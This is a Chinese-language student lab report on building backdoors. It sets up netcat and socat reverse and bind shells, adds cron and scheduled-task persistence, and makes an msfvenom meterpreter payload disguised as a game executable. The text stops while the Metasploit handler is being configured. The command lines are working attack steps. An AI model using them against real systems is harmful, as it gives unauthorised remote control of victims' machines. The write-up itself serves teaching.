2019-2020-2《网络对抗技术》Exp2 后门原理与实践

一、实践目标

任务一：使用netcat获取主机操作Shell，cron启动
任务二：使用socat获取主机操作Shell, 任务计划启动
任务三：使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell
任务四：使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权

二、基础知识

后门：不经过正常认证流程而访问系统的通道
可能存在于：
- 编译器
- 操作系统
- 固件
- 应用
后门工作流程：后门工作流程：程序→植入→运行→免杀。
后门工具：
- Netcat:是一个底层工具，进行基本的TCP UDP数据收发。常被与其他工具结合使用，起到后门的作用。
- socat：socat是nc的增强版，socat的基本功能就是建立两个双向的字节流，数据就在其间传输，参数address就是代表了其中的一个方向。所谓流，代表了数据的流向，而数据则可以有许多不同的类型，命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
- Meterpreter：具有强大的功能，特别是其socks代理。Meterpreter是Metasploit框架中的一个杀手锏，通常作为漏洞溢出后的攻击载荷使用，攻击载荷在触发漏洞后能够返回一个我们控制通道，例如利用远程过程带哦用RPC服务的一个漏洞，当漏洞被触发后，我们选择Meterpreter作为攻击载荷，就能够获得目标系统上的一个Meterpreter Shell连接。Meterpreter是Metasploit框架的一个扩展模块，可以调用Metasploit的一些功能，对目标系统进行更加深入的渗透，这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等。

三、实验内容

1.使用netcat获取主机操作Shell，cron启动

1.1使用Windows获得Linux Shell

首先在Windows中使用ipconfig查看其IP地址

关闭防火墙之后，使用ncat.exe程序打开监听ncat.exe -l -p 5321

在kali中使用-e选项执行shell程序反弹连接Windows：nc 192.168.1.18 5321 -e /bin/sh

在windows中就能成功获得kali的shell：

1.2Linux获得Windows Shell

在kali中使用ifconfig来查看kali的IP：

使用nc -l -p 5321打开kali的监听

在Windows中使用ncat.exe -e cmd.exe 192.168.1.20 5321反弹连接kali

kali成功获得Windows的命令提示:

1.3启动cron

Cron是Linux下的定时任务，每一分钟运行一次，根据配置文件执行预设的指令。

Windows系统下监听端口5321，Linux系统下，输入指令crontab -e并选择3进入编辑模式，

在最后一行添加21 * * * * /bin/netcat 192.168.1.18 5321 -e /bin/sh，表示每个小时的第21分时执行后面的那条指令。

inux在21分时连接Windows，监听的windows连接后可获得shell：

1.4使用nc传输数据

Windows下使用ncat.exe -l 5321监听5321端口，kali使用nc 192.168.1.18 5321反弹连接到Windows的5321端口，连接建立成功后双方可互传数据

2.使用socat获取主机操作Shell，任务计划启动

下载socat之后打开计算机管理-任务计划程序中-创建任务，填写任务名并新建一个触发器。

在操作中的程序或脚本中选择你的socat.exe文件的路径，在添加参数一栏填写tcp-listen:5321 exec:cmd.exe,pty,stderr，这个命令的作用是把cmd.exe绑定到端口5317，同时把cmd.exe的stderr重定向到stdout上

新建一个触发器，设置好时间之后，其他设置默认即可

可以看到任务已经在运行了

到达触发时间后，我们会发现任务自动运行

在kali输入指令socat - tcp:192.168.0.102:5321就可以连接到Windows主机的5321端口了，此时可以获得Windows的shell：

3.使用MSF meterpreter生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

使用kali攻击win10，首先在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.20 LPORT=5321 -f exe > Counter-Strike20175321.exe，此处的IP地址为kali的IP。

在Windows下执行ncat.exe -lv 5321 > Counter-Strike20175321.exe指令，查看当前的连接状态

在kali中使用nc 192.168.1.18 5321 < Counter-Strike20175321.exe传输后门程序，传输成功win10的cmd中会出现传输信息

在Kali上使用msfconsole指令进入msf控制台，输入：

use exploit/multi/handler    //使用监听模块，设置payload
set payload windows/meterpreter/reverse_tcp    //使用和生成后门程序时相同的payload
set LHOST 192.168.1.20    //kali的IP
set LPORT 5321    //要使用相同的端口